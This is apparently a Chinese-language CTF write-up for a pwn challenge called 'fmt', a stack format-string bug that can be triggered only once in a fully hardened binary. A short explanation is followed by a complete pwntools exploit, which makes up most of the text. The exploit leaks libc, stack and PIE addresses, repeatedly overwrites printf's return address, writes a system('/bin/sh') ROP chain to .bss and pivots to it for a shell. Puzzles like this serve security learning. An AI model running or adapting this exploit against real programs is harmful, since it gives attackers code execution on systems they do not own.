PWN

fmt

保护全开,只有一次利用机会的栈上格式化字符串漏洞

unsigned __int64 __fastcall vuln(const char *a1)
{
  char s[136]; // [rsp+10h] [rbp-90h] BYREF
  unsigned __int64 v3; // [rsp+98h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  memset(s, 0, 0x80uLL);
  printf(a1);
  read(0, s, 0x80uLL);
  printf(s);
  return v3 - __readfsqword(0x28u);
}

在开启了pie+aslr的情况下,只有一次格式化字符串机会那很难做到劫持控制流。至少要有两次利用机会,一次用于泄露和libc相关的地址,一次用于往某个地方写写某些数据用来劫持控制流。

但可惜只有一次机会。那肯定得找一种泄露完地址后,能回到main或者是vuln再次打一次格式化字符串的方法,这类方法总是涉及到格式化字符串写数据的原语,且由于aslr和pie的影响,那找到一种爆破次数少,容易直接打通的方法还是比较困难的。

联想到非栈上格式化字符串的利用方法,发现可以找一个和返回地址相近,除了低位一个字节完全相同的指针,还有一个指向该指针的双重指针,然后通过双重指针修改另一个指针的低位使另一个指针能修改返回地址的低位来实现泄露完地址后跳回vuln或者main这些近地址上,但是在只有一次格式化字符串利用机会的情况下,需要同时做到通过双重指针修改单指针低位,和利用单指针写返回地址两个事情,glibc的printf在处理 %n$p这种包含position的表达式的时候会对所有的%n$p这类的表达式预处理,将数据拷贝到args_value中,利用单指针写回操作的时候访问到的单指针实际上是 第一次双指针操作前的缓存,可以通过这篇文章的方法去绕过printf position的预处理

https://blog.wjhwjhn.com/posts/af55bf3/#%E5%A4%9A%E6%AC%A1-printf-%E5%88%A9%E7%94%A8

解决这个问题后,劫持printf的返回地址低位来实现多次格式化字符串,往bss上写rop链最后栈迁移过去就好了

exp

from pwn import *
# from LibcSearcher import *
# import itertools
# import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "node8.anna.nssctf.cn"
PORT = 27552

elf = context.binary = ELF('./fmt')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

## gdb.attach(p)
g = lambda x: gdb.attach(x)

## send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

## recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

while True:
    try:
        p = connect()

        # 14:00a0│ rbp 0x7ffe25864850 —▸ 0x7ffe25864868 —▸ 0x7dd6aac2a1ca ◂— mov edi, eax
        # 0x12ea
        # vuln 000000000000122E


        payload = b"%.0s" * 22
        payload += b"%" + str(0x68).encode() + b"c%hhn" # 24
        payload += b"%" + str((0x100 - 0x68) + 0x2e).encode() + b"c%26$hhn"


        payload += b"--%49$p-%24$p-%27$p"
        print(hex(len(payload)))
        # g(p)
        sa("welcome fmt!",payload)

        ru(b"--")

        libc_base = int(ru(b"-")[:-1],16) - (0x7ffff7c2a28b - 0x7ffff7c00000)
        success(hex(libc_base))
        stack_base = int(ru(b"-")[:-1],16) - (0x7fffffffde60 - 0x7ffffffde000)
        success(hex(stack_base))
        elf_base = int(r(14),16) - (0x5555555552ea - 0x555555554000)
        success(hex(elf_base))


        leave_ret = elf_base + 0x00000000000012c7
        ret = libc_base + 0x00000000000c75e9
        system = libc_base + libc.sym['system']
        binsh = libc_base + next(libc.search(b'/bin/sh'))
        rdi = libc_base + 0x000000000010f75b


        input_addr = stack_base + (0x7fffffffddd8 - 0x7ffffffde000)
        rbp = input_addr + (0x7fffffffde68 - 0x7fffffffddd8)
        target = elf_base + 0x4000 + 0x800

        printf_return_addr = rbp - (0x7fffffffde68 - 0x7fffffffddc0)

        payload = b"%" + str(0xdb).encode() + b"c%15$hhn"
        payload += b"%" + str((0x10000 -0xdb) + (rdi & 0xffff)).encode() + b"c%16$lln"
        payload += b"%" + str((0x10000 -(rdi & 0xffff)) + ((rdi >> 16) & 0xffff)).encode() + b"c%17$hn"
        payload += b"%" + str((0x10000 -((rdi >> 16) & 0xffff)) + ((rdi >> 32) & 0xffff)).encode() + b"c%18$hn"
        payload += b"AAA"
        payload += p64(printf_return_addr)
        payload += p64(target)
        payload += p64(target + 2)
        payload += p64(target + 4)


        time.sleep(0.3)
        success(hex(printf_return_addr))
        # g(p)
        sl(payload)


        printf_return_addr = printf_return_addr - (0x7fffffffddc0 - 0x7fffffffdd10)

        payload = b"%" + str(0xdb).encode() + b"c%15$hhn"
        payload += b"%" + str((0x10000 -0xdb) + (binsh & 0xffff)).encode() + b"c%16$lln"
        payload += b"%" + str((0x10000 -(binsh & 0xffff)) + ((binsh >> 16) & 0xffff)).encode() + b"c%17$hn"
        payload += b"%" + str((0x10000 -((binsh >> 16) & 0xffff)) + ((binsh >> 32) & 0xffff)).encode() + b"c%18$hn"
        payload += b"AAA"
        payload += p64(printf_return_addr)
        payload += p64(target + 8)
        payload += p64(target + 10)
        payload += p64(target + 12)

        p.recvuntil(b"fmt",timeout=20)
        # g(p)
        sl(payload)


        printf_return_addr = printf_return_addr - (0x7fffffffdd10 - 0x7fffffffdc60)
        payload = b"%" + str(0xdb).encode() + b"c%15$hhn"
        payload += b"%" + str((0x10000 -0xdb) + (system & 0xffff)).encode() + b"c%16$lln"
        payload += b"%" + str((0x10000 -(system & 0xffff)) + ((system >> 16) & 0xffff)).encode() + b"c%17$hn"
        payload += b"%" + str((0x10000 -((system >> 16) & 0xffff)) + ((system >> 32) & 0xffff)).encode() + b"c%18$hn"
        payload += b"AAAA"
        payload += p64(printf_return_addr)
        payload += p64(target + 16)
        payload += p64(target + 18)
        payload += p64(target + 20)

        p.recvuntil(b"fmt",timeout=20)
        # g(p)
        sl(payload)

        target = target - 0x8
        printf_return_addr = printf_return_addr - (0x7fffffffdc60 - 0x7fffffffdbb0)
        rbp = printf_return_addr - 0x8

        payload = b"%" + str(target & 0xffff).encode() + b"c%15$lln"
        payload += b"%" + str((0x10000 - (target & 0xffff)) + ((target >> 16) & 0xffff)).encode() + b"c%16$hn"
        payload += b"%" + str((0x10000 -((target >> 16) & 0xffff)) + ((target >> 32) & 0xffff)).encode() + b"c%17$hn"
        payload += b"%" + str((0x100 -((target >> 32) & 0xff)) + 0xc7).encode() + b"c%18$hhn" # leave ret
        payload += b"AAAA"
        payload += p64(rbp)
        payload += p64(rbp + 2)
        payload += p64(rbp + 4)
        payload += p64(printf_return_addr)

        print(hex(len(payload)))
        p.recvuntil(b"fmt",timeout=20)
        success(hex(rbp))
        # g(p)
        sl(payload)




        p.interactive()
        break

    except EOFError:
        warn("Got EOF, restarting exploit loop...")
        try:
            p.close()
        except:
            pass
        continue
2025-08-25
Contents
  1. PWN
    1. fmt

⬆︎TOP